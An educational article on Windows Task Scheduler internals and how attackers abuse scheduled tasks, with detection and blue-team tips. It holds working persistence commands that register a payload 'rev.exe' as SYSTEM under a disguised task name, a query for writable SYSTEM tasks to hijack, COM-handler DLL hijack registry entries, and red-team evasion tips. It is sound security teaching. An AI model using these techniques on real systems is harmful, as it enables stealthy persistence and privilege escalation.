Windows Scheduled Tasks

Objective: Understand the architecture and internals of Windows Task Scheduler, how scheduled tasks are created and executed, and how adversaries abuse them for persistence, privilege escalation, and lateral movement.


Introduction

Windows Task Scheduler is a built-in Windows service that enables automatic execution of tasks based on time, events, system state, or user actions. It is deeply integrated into the OS and extensively used for system maintenance, updates, telemetry, and administrative automation.

However, attackers abuse this trusted subsystem to establish stealthy persistence, execute malicious payloads with SYSTEM privileges, and bypass security controls.


Task Scheduler Architecture

Windows uses Task Scheduler 2.0, introduced in Vista, and backed by:

  • Task Scheduler Service (Schedule)
  • COM Interfaces (ITaskService, ITaskDefinition)
  • XML task definitions stored in system directories
  • Task Engine + Actions + Triggers model

Core Components

ComponentDescription
taskschd.dllMain Task Scheduler engine DLL
svchost.exe -k netsvcsHosts the Task Scheduler service
Task Scheduler LibraryLogical structure for all tasks
schtasks.exeCommand-line interface to manage tasks
taskeng.exeExecutes task actions (usually under user’s session)
taskhostw.exeLoads DLL-based scheduled tasks

Task Storage and Structure

Task File Locations

LocationPurpose
C:\Windows\System32\Tasks\Actual task .job files
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCacheRegistry mirror/cache of task metadata
C:\Windows\System32\Tasks\Microsoft\Windows\*Built-in OS tasks (defrag, telemetry, etc.)

Task File Format

  • Stored in XML format
  • Contains:
    • RegistrationInfo – Author, date, description
    • Triggers – Time, event, idle, logon, boot
    • Principals – Security context
    • Actions – What to run (Exec, ComHandler, etc.)
    • Settings – Constraints, retries, etc.

Example: Boot Persistence XML

<Triggers>
  <BootTrigger>
    <Enabled>true</Enabled>
  </BootTrigger>
</Triggers>
<Actions>
  <Exec>
    <Command>C:\malicious\rev.exe</Command>
  </Exec>
</Actions>


Triggers

Trigger types that can initiate a scheduled task:

Trigger TypeDescription
TimeTriggerAt a specific time
BootTriggerWhen system boots
LogonTriggerAt user logon
IdleTriggerWhen system is idle
EventTriggerBased on Windows event log
RegistrationTriggerWhen a task is registered
CustomTriggerWMI queries or custom events

Actions

Common types of actions defined within a task:

Action TypeDescription
ExecExecutes a command, script, or binary
ComHandlerCalls a COM class
SendEmailDeprecated
ShowMessageDeprecated

Example:

<Exec>
  <Command>C:\Windows\System32\calc.exe</Command>
</Exec>


Security Context (Principals)

Scheduled tasks can run under any account context:

  • SYSTEM – Full machine-level privilege
  • LOCAL SERVICE / NETWORK SERVICE
  • Administrator, User accounts
  • Group Managed Service Accounts (gMSA)

Privilege is set via:

<Principal>
  <UserId>S-1-5-18</UserId> <!-- SYSTEM SID -->
  <RunLevel>HighestAvailable</RunLevel>
</Principal>

If RunLevel is HighestAvailable, UAC elevation is requested.


Scheduled Task Abuse Techniques

1. Persistence via Task Registration

Create a malicious task to run a payload at boot/logon.

schtasks /create /tn "UpdateCheck" /tr "C:\temp\rev.exe" /sc onlogon /ru SYSTEM

PowerShell equivalent:

$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "UpdateCheck" -RunLevel Highest -User "SYSTEM"

2. Privilege Escalation via SYSTEM Tasks

If a scheduled task runs as SYSTEM and is writeable by the user, an attacker can hijack it:

  • Modify its Action path
  • Replace the payload
  • Wait for it to trigger (e.g., at boot)

Check for vulnerable tasks:

Get-ScheduledTask | Where-Object {
    ($_.Principal.UserId -eq "SYSTEM") -and
    ((Get-Acl $("C:\Windows\System32\Tasks\" + $_.TaskName)).AccessToString -match "Everyone.*Write")
}

3. DLL Hijacking via taskhostw.exe

Some scheduled tasks load in-process COM handlers (DLLs):

  • Register a fake CLSID in registry
  • Drop malicious DLL in expected path
  • Task executes DLL as SYSTEM

Example Registry Setup:

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{malicious-guid}]
@="MyTask"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{malicious-guid}\InprocServer32]
@="C:\\evil.dll"
"ThreadingModel"="Apartment"

Then register a task with COMHandler using this CLSID.


Detection Techniques

TechniqueMethod
List all tasksschtasks /query /fo LIST /v
Task XML dumpschtasks /query /TN "TaskName" /XML
Check task folder ACLsicacls C:\Windows\System32\Tasks\*
Event Log: Task creationEvent ID 106 (Microsoft-Windows-TaskScheduler/Operational)
Event Log: Task executionEvent ID 200, 201, 202

Red Team Use Cases

Use CaseTechnique
EvasionSet execution at idle or obscure event
Covert ExecutionUse renamed schtasks.exe or COM-based API
Time-Based PersistenceRun only once at a delayed time
Remote Task DropVia schtasks /create /S <target> using stolen creds

Blue Team Tips

  • Monitor changes in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule
  • Set audit rules on \Tasks\ folder
  • Use Sysmon Event ID 1 (Process Create) + correlate with task execution
  • Block schtasks.exe via AppLocker for standard users
  • Check for non-standard authors or empty descriptions

Summary

  • Task Scheduler is a core Windows subsystem used for automation and persistence.
  • It supports complex triggers, actions, and runs tasks in various privilege contexts.
  • Attackers can abuse it to execute payloads stealthily, elevate privileges, or persist across reboots.
  • Defenders can detect anomalies via XML inspection, ACL audits, and log monitoring.

0 0 votes
Article Rating
guest
0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments